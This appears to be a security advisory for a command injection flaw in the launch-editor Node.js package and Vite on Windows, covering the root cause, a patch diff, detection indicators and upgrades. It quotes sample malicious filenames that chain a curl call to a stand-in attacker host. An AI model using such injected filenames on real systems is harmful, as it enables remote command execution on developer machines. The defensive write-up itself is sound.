CVE-2024-52011: launch-editor Node.js RCE Vulnerability

CVE-2024-52011 Overview

CVE-2024-52011 is a command injection vulnerability in launch-editor, a Node.js utility that opens files in an editor with line numbers. The flaw stems from insufficient sanitization of the file argument passed to the launchEditor function. On Windows hosts, an attacker can craft a filename containing shell metacharacters that cmd.exe interprets as commands, leading to arbitrary command execution. The issue affects launch-editor versions prior to 2.9.0 and, by extension, Vite versions prior to 5.4.9, which depends on the package. The maintainers fixed the issue by switching from an allow-list validation pattern to proper shell argument escaping.

Critical Impact
Remote attackers can execute arbitrary operating system commands on Windows developer machines or build servers running affected versions of launch-editor or Vite.

Affected Products

launch-editor Node.js package versions prior to 2.9.0
Vite versions prior to 5.4.9
Windows hosts invoking the editor launcher via cmd.exe

Discovery Timeline

2026-06-01 - CVE-2024-52011 published to NVD
2026-06-02 - Last updated in NVD database

Technical Details for CVE-2024-52011

Vulnerability Analysis

The vulnerability is a command injection flaw classified under [CWE-77]: Improper Neutralization of Special Elements used in a Command. The launchEditor function accepts a file argument that is forwarded to a child process responsible for opening the file in the configured editor. On Windows, the process is spawned through cmd.exe, which treats characters such as &, |, <, >, and ^ as control operators. The pre-patch code attempted to defend against injection by validating filenames against an allow-list regular expression. The allow-list approach failed to cover all bypass paths, so a crafted filename could pass validation or be supplied via contexts that skip it, resulting in command execution.

Root Cause

The root cause is reliance on filename pattern validation rather than proper shell argument escaping when invoking cmd.exe. The WINDOWS_CMD_SAFE_FILE_NAME_PATTERN regular expression attempted to permit only alphanumeric characters, periods, dashes, slashes, underscores, plus signs, and spaces. Allow-list filtering is fragile because it must anticipate every dangerous input, while cmd.exe parsing has well-known quoting edge cases.

Attack Vector

Exploitation requires the attacker to influence the filename passed to launchEditor. In development setups using Vite, the editor launcher is reachable over the local HTTP development server through the client-side overlay that opens files on error. A remote attacker can convince a developer to visit a malicious page or trigger a request that supplies a filename containing shell metacharacters such as C:\Users\victim\Downloads\& curl attacker.example. When the launcher hands the string to cmd.exe, the appended command runs with the privileges of the developer process.

javascript

     fileName = path.relative('', fileName)
   }
 
-  // cmd.exe on Windows is vulnerable to RCE attacks given a file name of the
-  // form "C:\Users\myusername\Downloads\& curl 172.21.93.52". Use a safe file
-  // name pattern to validate user-provided file names. This doesn't cover the
-  // entire range of valid file names but should cover almost all of them in practice.
-  // (Backport of
-  // https://github.com/facebook/create-react-app/pull/4866
-  // and
-  // https://github.com/facebook/create-react-app/pull/5431)
-
-  // Allows alphanumeric characters, periods, dashes, slashes, underscores, plus and space.
-  const WINDOWS_CMD_SAFE_FILE_NAME_PATTERN = /^([A-Za-z]:[/\\])?[\p{L}0-9/.\-\\_+ \[\]]+$/u
-  if (
-    process.platform === 'win32' &&
-    !WINDOWS_CMD_SAFE_FILE_NAME_PATTERN.test(fileName.trim())
-  ) {
-    console.log()
-    console.log(
-      colors.red('Could not open ' + path.basename(fileName) + ' in the editor.')
-    )

Source: GitHub Commit 971291e. The patch removes the allow-list validation and replaces it with explicit escaping of arguments when launching through Windows cmd.exe.

Detection Methods for CVE-2024-52011

Indicators of Compromise

Child processes of node.exe or Vite dev server processes spawning cmd.exe with command lines containing &, |, or ^ separators followed by binaries such as curl.exe, powershell.exe, or certutil.exe.
Outbound network connections originating from developer workstations immediately after editor-open requests to the local Vite dev server.
Unexpected cmd.exe invocations whose command-line arguments include file path fragments concatenated with shell metacharacters.

Detection Strategies

Inventory Node.js projects for launch-editor versions below 2.9.0 and Vite versions below 5.4.9 using software composition analysis tools.
Hunt for process telemetry where cmd.exe is invoked by Node.js with arguments containing &, |, backticks, or redirection operators in file path positions. EPSS for this CVE is 0.06% with a percentile of 18.9, indicating low predicted exploitation activity but a real attack surface on developer endpoints.
Correlate development server HTTP requests against the editor-launch endpoint with subsequent process creation events.

Monitoring Recommendations

Enable command-line auditing on developer Windows hosts to capture full cmd.exe argument strings for review.
Monitor for outbound HTTP, DNS, or SMB connections from Node.js processes that should normally communicate only with localhost during development.
Track Vite dev server logs for editor-open requests originating from external referrers or unexpected origins.

How to Mitigate CVE-2024-52011

Immediate Actions Required

Upgrade launch-editor to version 2.9.0 or later in all Node.js projects and lockfiles.
Upgrade Vite to version 5.4.9 or later, which pulls in the patched launch-editor transitively.
Restart any long-running Vite or webpack dev server processes after the upgrade so the patched code is loaded.
Restrict developer workstation network egress to limit the impact of successful command injection.

Patch Information

The upstream fix is tracked in GitHub Security Advisory GHSA-c27g-q93r-2cwf and applied in commit 971291e. The patch replaces filename allow-list validation with proper shell escaping when invoking the editor through Windows cmd.exe, eliminating the bypass class entirely.

Workarounds

Bind the Vite dev server to 127.0.0.1 only and avoid exposing it on 0.0.0.0 or public interfaces.
Disable the click-to-open editor feature in framework configurations when patching is not immediately possible.
Run development tooling inside a Linux container or WSL environment so the vulnerable cmd.exe code path is not reached.

bash

# Upgrade launch-editor and Vite to patched versions
npm install launch-editor@^2.9.0
npm install vite@^5.4.9

# Verify resolved versions across the dependency tree
npm ls launch-editor
npm ls vite